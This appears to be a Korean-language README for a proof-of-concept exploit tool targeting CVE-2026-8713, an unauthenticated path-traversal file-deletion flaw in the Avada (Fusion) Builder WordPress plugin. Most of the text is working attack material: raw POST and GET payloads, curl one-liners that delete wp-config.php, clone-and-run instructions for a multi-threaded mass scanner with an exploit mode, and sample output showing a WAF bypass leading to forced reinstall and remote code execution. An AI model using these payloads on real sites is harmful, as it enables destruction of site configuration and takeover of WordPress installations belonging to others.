CVE-2026-8713

$file_path = str_replace($upload['url'], $upload['path'], $value);
// realpath() 검사 없음 — 경로 순회 시퀀스 통과
unlink($file_path);

1. 공격자가 wp_ajax_nopriv_fusion_form_submit_ajax를 통해 Avada 양식 제출
   → 경로 순회: ../../wp-config.php
   → privacy_expiration_action = delete
   → privacy_expiration_interval = 0

2. WordPress 종료 훅이 Fusion_Form_DB_Privacy 실행
   → 저장된 양식 항목 처리
   → 공격자가 제어한 경로에 대해 maybe_delete_files() 호출
   → wp-config.php 삭제

3. WordPress가 설치/설정 모드로 진입
   → 공격자가 사이트를 악성 데이터베이스에 연결
   → 완전한 원격 코드 실행

POST /wp-admin/admin-ajax.php
  action=fusion_form_submit_ajax
  form_id=<id>
  privacy_expiration_action=delete
  fusion_privacy_expiration_interval=0
  fusion_form_field_<name>=../../wp-config.php

GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...

git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt

# 탐지만 (기본값 — 파일 삭제 안 함)
python cve_2026_8713.py -t target.com

# 대량 탐지
python cve_2026_8713.py -f targets.txt

# 익스플로잇 모드 — wp-config.php 삭제
python cve_2026_8713.py -t target.com --exploit

# 사용자 지정 파일 삭제
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"

  -t, --target      단일 대상 (도메인 또는 IP)
  -f, --file        대상 목록 (한 줄에 하나)
  --exploit         파일 삭제 활성화 (기본값: 탐지만)
  --delete PATH     삭제할 사용자 지정 파일 경로 (기본값: wp-config.php)
  -o, --output      결과를 파일에 저장
  --threads         워커 수 (기본값: 20)
  -v, --verbose     상세 출력 표시

$ python cve_2026_8713.py -f targets.txt

  CVE-2026-8713  Avada (Fusion) Builder  |  CVSS 9.1
  모드: 탐지  |  대상: 521  |  워커: 20
  ───────────────────────────────────────────────────────

  [익스플로잇]  target-vuln.com      1.2s  양식 #3  (AJAX 열림)
  [취약]        target-waf.com       2.1s  양식 #1  (WAF 차단됨)
  [AVADA]       target-noform.com    0.5s  (양식 없음)
  [-]           target-noavada.com   0.3s

  ───────────────────────────────────────────────────────
  스캔 완료  |  시간: 45초
  ───────────────────────────────────────────────────────
  대상        : 521
  Avada 탐지  : 47
  양식 발견   : 12
  취약        : 9

$ python cve_2026_8713.py -t target.com --exploit -v

  CVE-2026-8713 — Avada Builder 익스플로잇
  CVSS 9.1 | 인증 없음 | 경로 탐색 → 파일 삭제 → RCE

    [+] Avada 양식 발견: id=3
    [+] POST form_id=3: HTTP 403 (WAF 차단됨)
    [+] GET form_id=3: HTTP 200 (WAF 우회됨)

  호스트   : target.com
  Avada    : 예
  양식     : 3
  삭제됨   : wp-config.php (강제 재설치 → RCE)
  시간     : 3.2초

curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5

curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/main/%5Cd%2B)'

curl -sk -X POST \
  -d 'action=fusion_form_submit_ajax' \
  -d 'form_id=3' \
  -d 'privacy_expiration_action=delete' \
  -d 'fusion_privacy_expiration_interval=0' \
  -d 'fusion_form_field_x=../../wp-config.php' \
  'https://target.com/wp-admin/admin-ajax.php'

curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'

# 사이트가 설치 모드인가?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config 삭제됨 → 악성 DB 연결 → 완전한 RCE